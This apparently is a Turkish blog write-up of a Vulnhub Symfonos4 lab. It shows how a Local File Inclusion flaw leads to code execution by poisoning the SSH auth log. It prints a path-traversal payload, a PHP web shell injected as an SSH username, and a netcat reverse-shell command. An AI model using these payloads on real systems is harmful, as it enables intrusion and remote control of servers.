Merhabalar bugünki yazımızda LFI (Local File Inclusion) zafiyetinden yararlanarak ufkumuzu biraz açıp RCE (Remote Code Execution) elde edeceğiz. Bu yazı sizlere biraz da olsa farklı bakış açısı sunma, elinizdeki bilgilerin teoriden ziyade pratiğe dönüştürmeyi, “amaan canım buldum zaafiyeti” demekten öteye gidip daha da derinlere inip bakış açınıızı değiştirecek bir temel atmayı hedefliyor. Haydi başlayalım.

NEDİR BU “/var/log/auth.log” DOSYASI?

Malum biliyoruz ki bilgisayarda işlem yaparken loglanmadığımız dakika yok. /var/log/auth.log dosyası da kullanıcıların oturum açma bilgilerini saklayan dosyadır. SSH ile yapılan her oturum açma denemesi bu dosyanın içine yazılır. Aşağıdaki gibi SSH ile oturum açmaya çalışalım ve 2 defa yanlış parola girelim.

/var/log/auth.log dosyasını incelediğimizde oturum açma isteklerimizin düştüğünü görüyoruz.

LAB Uygulaması

Gelelim LFI ile RCE zaafiyetinden nasıl yararlanacağımıza. Saldırı yapacağımız makine bilgileri aşağıda verilmiştir. Makinenin diğer kısımlarını atlayıp sadece yazımızı ilgilendiren kısma bakacağız.

Hedef Makine: Vulnhub-Symfonos4

Seviye: Orta

Yukarıda da görüldüğü “Select a God” adında bir select’imiz var. Tanrılar arasından hadesi seçince bize hades ile ilgili bir yazı getirmektedir.

URL’de görebileceğiniz gibi GET metodu ile file parametresiyle istek yapılmış. Adından da anlaşılacağı üzere anlıyoruz ki file parametresi bize dosya çağırıyor. Şimdi auth.log dosyasını okumaya çalışalım.

Görüldüğü üzere bir şey yok. Bazen developer tayfa belirledikleri bazı uzantılı dosyalar haricinde olan dosyaları okumamızı istemeyebilir. Haliyle deneme yanılma yöntemi ile acaba yukarıya yazdığımız parametrenin sonuna .log uzantısı sistemin backend tarafında ekleniyor mu bunun tespitini yapabiliriz. Bu yüzden payload’ımı ../../../../../../../../var/log/auth şeklinde düzenliyorum. Enter’lıyoruz.

Ve evet içerik geldi. Artık yapacağımız tüm SSH isteklerini burada görebileceğiz.

Sayfayı yenileyip daha düzenli bir görünüm için kaynak kodlarına bakalım.

Ve evet oturum açma işlemimizi log dosyasından okuyabiliyoruz. Biraz düşündüğümüzde SSH oturum açarken kullanıcı adına istediğimizi yazıp bu sayfada çıktı olarak verebiliyoruz. O zaman kullanıcı adına herhangi bir PHP kodu yazıp hedef sistem üzerinde çalıştırabiliriz.

Hedef sayfayı yenileyelim.

Görüldüğü gibi PHP kod çalıştırabiliyoruz. Artık durumunuza göre ilerleme kaydedebilirsiniz. Biz örnek olsun diye bir Reverse Shell alacağız.

ssh “<?php system($_GET[‘command’]);?>”@hedef_makine

Yukarıdaki bir kullanım sayesinde artık GET ile gönderdiğimiz command parametresine verdiğimiz değer hedef sistemde çalıştıralacak.

URL’ye http://192.168.1.136/sea.php?file=../../../../../../../../../../../../../../../../var/log/auth&command=ls -al yazdığımızda sistemdeki dosyaları görebiliyoruz.

Reverse Shell almak için;

http://192.168.1.136/sea.php?file=../../../../../../../../../../../../../../../../var/log/auth&command=nc lokal-ip dinlenilen-port -e /bin/bash

Bir örnek yapmak gerekirse;

http://192.168.1.136/sea.php?file=../../../../../../../../../../../../../../../../var/log/auth&command=nc 192.168.1.32 1234 -e /bin/bash

Sonuç;

Evet bugünki yazımızda sizlere bir zaafiyetin başka bir zaafiyeti tetikleyebileceğini, öğrendiklerinize bağlı kalmamanıza, bu işin pratikten daha çok bildiklerini birleştirmeye ve biraz da olsa farklı bakış açılarını denememiz gerektiğini anlatmaya çalıştım. Umarım sizler için yararlı bir yazı olmuştur. Hoşçakalın…